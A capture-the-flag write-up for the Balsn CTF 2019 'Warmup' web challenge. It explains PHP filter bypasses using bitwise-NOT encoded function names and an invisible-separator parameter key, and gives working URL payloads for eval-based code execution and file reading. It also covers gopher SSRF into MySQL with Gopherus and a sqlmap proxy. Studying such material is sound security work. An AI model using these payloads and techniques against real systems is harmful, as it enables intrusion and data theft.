Balsn CTF 2019 - Web - Warmup

Points: 857/ 1000

Tags: web

Source is at : http://warmup.balsnctf.com/

Backup: https://pastebin.com/RNMfieLL

Our Vietnamese team *pwnPHOfun* managed to solve the challenge in time and I can't do this without many helping hands from @ducnh, @vinhjaxt, @0xd0ff9, ...

At first, we de-obfuscated the given source-code.

From this

To this https://pastebin.com/EacVkRnK

There are 3 main branches.

1. 

1.     $ch = curl_init();
2.     @curl_setopt($ch, CURLOPT_URL, str_replace("int", ":DD", str_replace("%69%6e%74", "XDDD", str_replace("%2e%2e", "Q___Q", str_replace("..", "QAQ", str_replace("%33%33%61", ">__<", str_replace("%63%3a", "WTF", str_replace("633a", ":)", str_replace("433a", ":(", str_replace("\x63:", "ggininder", strtolower(eval("return $_;"))))))))))));
3.     @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
4.     @curl_setopt($ch, CURLOPT_TIMEOUT, 1);
5.     @curl_EXEC($ch);

2.

1.      print_r(substr(@file_get_contents($_), 0, 155));

And the last one is a joke, because after die, function system, in this case, wouldn't execute, except special case where __destruct was found. So we can ignore this without any hurt.

3. 

1.     die($secret);
2.     system($_GET[0x9487945]);

My teammate summaries these blocks into:

1. RCE (eval at line 2) and SSRF (curl and gopher/dict protocol)

2. Remote file download (file_get_contents) and SSRF

3. J/K

Before we can reach these functions, there are some filters and blacklists to bypass.

So we have:

1.  

1. if (($op = @$_GET['op']) && (@strlen($op) < 3 && @($op + 8) < 'A_A')) {

To bypass this, we used ?op=-9, because (@($op + 8)) is now -1, and it lower than 0 ('A_A' casted to int)

2.

  if (($_ = @$_GET['Σ>―(#°ω°#)♡→'])   && (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_) || @strlen(count_chars(strtolower($_), 3)) > 13 || @strlen($_) > 19)) {

$_ is from parameter (no utf-8 encoded) %CE%A3%3E%E2%80%95(%23%C2%B0%CF%89%C2%B0%23)%E2%99%A1%E2%86%92

We need value of $_ meet conditions: not match this regex (checkout regex101 to find out what is invalid), constructed from no more than 13 difference characters, length not exceed 19.

We used the "not" "~" operator, which was discussed in [1], [2], [4] about weird PHP behavior.

3. 

1. if (@strlen($op) < 4 && @($op + 78) < 'A__A') {
2.     if (($_ = @$_GET['⁣']) && (
3.       (strtolower(substr($_, -4)) === '.php')
4.       || (strtolower(substr($_, -4)) === 'php.')
5.       || (stripos($_, "\"") !== FALSE)
6.       || (stripos($_, "\x3e") !== FALSE)
7.       || (stripos($_, "\x3c") !== FALSE)
8.       || (stripos(strtolower($_), "amp") !== FALSE))) 

At line 1, same as above bypass, we use ?op=-79

At line 2, what looks like empty key for $_GET, but actually it is U+2063 INVISIBLE SEPARATOR. Quick check with Chrome Devtool

 Line 3, 4, 5, 6, 7,8: we can't bypass this, all of them is strict compare (===), so what did they do?

As we can read file with file_get_contents, but only if it not ending with ".php" or "php.", or include invalid character quote ", lower than <, greater than > which is referenced as famous bypass for LFI in Windows environment. Checkout ONsec's paper [3].

But we was unable to abuse anything from this, except the trick from ONsec. Turned out I was wrong, there are 2 new things I learned from CTF's Discord discussion forum

- file_get_contents space endings: ?op=-99&%E2%81%A3=config.php%20

- php filter if you want to read more: php://filter/read=zlib.deflate/resource=config.php+

That is the 2nd branch.

Since we can't go further from this branch so we go back to the first one.

In this block, $_ got filtered

4. String replace from $_

str_replace("int", ":DD", 

str_replace("%69%6e%74", "XDDD", 

str_replace("%2e%2e", "Q___Q", 

str_replace("..", "QAQ", 

str_replace("%33%33%61", ">__<", 

str_replace("%63%3a", "WTF", 

str_replace("633a", ":)", 

str_replace("433a", ":(", 

str_replace("\x63:", "ggininder"

So our payload shouldn't contain "int", "..", "c:", "33a", ... in many encoding.

then eval("return $_;") will actually is eval("return " + $_ + ";"), thanks PHP again, only in double quote mode, called Variable variables [5]

Combine with the "~" operator, to show phpinfo we used this

http://warmup.balsnctf.com/?op=-9&?op=-9&%CE%A3%3E%E2%80%95(%23%C2%B0%CF%89%C2%B0%23)%E2%99%A1%E2%86%92=%28%7E%8F%97%8F%96%91%99%90%29%28%29

Combine with the the idea about "<<" for reading file, we used the following payload:

http://warmup.balsnctf.com/?op=-9&%CE%A3%3E%E2%80%95(%23%C2%B0%CF%89%C2%B0%23)%E2%99%A1%E2%86%92=%28%7E%8d%9a%9e%9b%99%96%93%9a%29%28%7E%9c%c3%c3%29

which is readfile("c<<") as we want to read the config.php, lucky for us, there is only config.php start with the "c" character in its name.

To automated the task we developed snippet in python

1.     def n(s):
2.         r = ""
3.         for i in s:
4.             r += chr(~(ord(i)) & 0xFF)
5.         r = "~{}".format(r)
6.         return r

The readfile payload (in python) is "({})({})".format(n("readfile"), n("c<<"))

After encode it %28%7E%8D%9A%9E%9B%99%96%93%9A%29%28%7E%9C%C3%C3%29

// hint:flag-is-in-the-database XDDDDDDD

Hah, I know it, this is why we have curl with SSRF potential. In the second day of the CTF, I came back with 1st day idea, blind SQL injection over SSRF. What I need is in the config.php already: [x] mysql user "admin" without password [x] curl with gopher protocol [  ] gopher url exceed 19 char limit. A new bypass for this... How do I pass my gopher URL into the return value of "eval" with the limit of 19 chars. I had search through many functions of PHP, e.g: extract, getenv... and getenv is enough. Next the payload will be: t = '(' + n('getenv') + ')(' +n('HTTP_X') + ')' And GET it over request like this         r = requests.post(url=url, params = {             'op' : '-9',             'Σ>―(#°ω°#)♡→' : t             },             headers = {"X": x}             ) Knowing the fact that there is a tool called Gopherus [7] for SSRF challenge, I don't have to monitor Wireshark, parse that, write a new one. Just re-use the tool, don't invent the wheel, they said. Then I was like, want me to blind this? Hell no. Just use the SQLmap. I don't know if SQLmap can do boolean-based sql injection without sleep injected in query, so I make the middleware proxy with Python-Flask act as it vulnerable to time-based SQLi. Then run the single command to get flag: python sqlmap.py -u "http://localhost:5000/?username=*" --technique=T --dbms=mysql --dbs  --level 1  --thread=1 --sql-shell Then it fail when I tried to show table inside "thisisthedbname"

Thanks to the DEFCON CTF Qual "return-to-shellql", I already known where the bug lie, compare this MySQL Packet [8] vs this [9]

Payload

Type	Name	Description
int<3>	payload_length	Length of the payload. The number of bytes in the packet beyond the initial 4 bytes that make up the packet header.
int<1>	sequence_id	Sequence ID
string<var>	payload	[len=payload_length] payload of the packet

It is 3 bytes for packet length, not 1 as s byte as seen in Gopherus MySQL client.

So longgggggg

**Our remake script: https://pastebin.com/x8gxTAQx

But but, did I forgot something about Windows?

Another great chall, thank Balsn team.

References:

[1] https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/

[2] https://github.com/jesux/ctf-write-ups/tree/master/isitdtu-2019/EasyPHP

[4] https://fireshellsecurity.team/inctf2019-php1-php15-php25/

[3] http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf

[5] https://www.php.net/manual/en/language.variables.variable.php

[6] https://pastebin.com/x8gxTAQx

[7] https://github.com/tarunkant/Gopherus

[9] https://github.com/tarunkant/Gopherus/blob/26056c69fe3de12f223f52cab48db53eb2e484c3/scripts/MySQL.py#L29

[8] https://dev.mysql.com/doc/internals/en/mysql-packet.html